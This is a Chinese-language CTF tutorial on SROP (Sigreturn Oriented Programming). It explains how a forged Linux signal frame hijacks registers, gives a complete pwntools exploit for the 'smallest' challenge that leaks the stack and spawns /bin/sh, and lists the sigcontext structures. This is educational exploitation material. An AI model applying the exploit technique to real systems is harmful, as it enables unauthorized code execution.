SROP(Sigreturn Oriented Programming)
其中sigreturn是一个系统调用,在类unix系统发生signal时候会被间接地调用。
是类unix系统中进程之间相互传递信息的一种方法。一般称为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。步骤如下:
signal
机制,该进程会被暂时挂起,进入内核状态。signal
信息,以及指向sigreturn
的系统调用地址。signal handler
返回后,内核为执行 sigreturn
系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77
,64 位的系统调用号为 15
。在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn
,这个地址指向一段代码,在这段代码中会调用sigreturn
系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn
,所以,signal handler函数的最后一条ret
指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn
系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn
。
这一段就是signal frame
在内核sigreturn
系统调用处理函数中,会根据当前的栈指针指向的Signal Frame
对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。
仔细观察这个过程可以发现 内核主要做的就是为进程保存上下文,并且恢复上下文。而主要的变动都在Signal Frame中。需要注意的有:
假设可以控制用户进程的栈,那么就可以伪造一个signal frame,当系统执行完sigreturn系统调用之后,会执行一系列pop指令以便恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时便会得到shell
如果需要多次使用该方法
只需要修改signal frame中的两处即可:
RSP
指向下一个signal frame的地址rip
指向的syscall
换成syscall;ret
字符串
地址(泄露栈得出)Sigreturn
的地址(若找不到该gadgets可以将rax置为15,然后使用syscall来调用Sigreturn())syscall
的地址Signal frame
的地址(使用SigreturnFrame()伪造)signal frame
结构,push到栈中。其中需要将对应寄存器的值修改该为系统调用的相关参数
Eax/Rax
指向需要用到的系统调用号
Rip/Eip
指向syscall的地址
ebx/rdi
指向需要用到的字符串
以春秋杯的smallest为例,主要利用过程为
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sh = process("./smallest")
syscall_ret = 0x00000000004000be
start_addr = 0x00000000004000b0
### 利用write,leak stack_addr
payload = p64(start_addr)*3#先构造三次跳转
sh.send(payload)
sh.send('\xb3')
#设置rax=1,即 将返回地址改为0x00000000004000b3即 跳过xor rax,rax,以保持rax=1
#使原有的read(0,rsp,400)变为write(1,rsp,400)
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr:0x%x',stack_addr)
### 使用read将后续的payload写到栈地址上
sigframe = SigreturnFrame()
sigframe.rax=constants.SYS_read #read的系统调用号
sigframe.rdi =0 #参数1
sigframe.rsi = stack_addr #参数2
sigframe.rdx = 0x400 #参数3
sigframe.rsp = stack_addr #返回到栈上,也就是下面的sigreturn_addr
sigframe.rip = syscall_ret #syscall;ret
payload = p64(start_addr)+'a'*8+str(sigframe)
sh.send(payload)
### sigreturn_addr 控制输入字符为15,signal的系统调用号
sigreturn = p64(syscall_ret)+"b"*7
sh.send(sigreturn)
### execve("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr)+"b"*8+str(sigframe)
payload += '\x00'*(0x120-len(payload))+'/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()
正常情况下的泄露栈地址操作如下
RSI
指向的便是栈地址泄露出的地址-RSI的地址
便是该参数距离栈的偏移量泄露出的地址
-栈中偏移量
=参数在栈中的地址
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};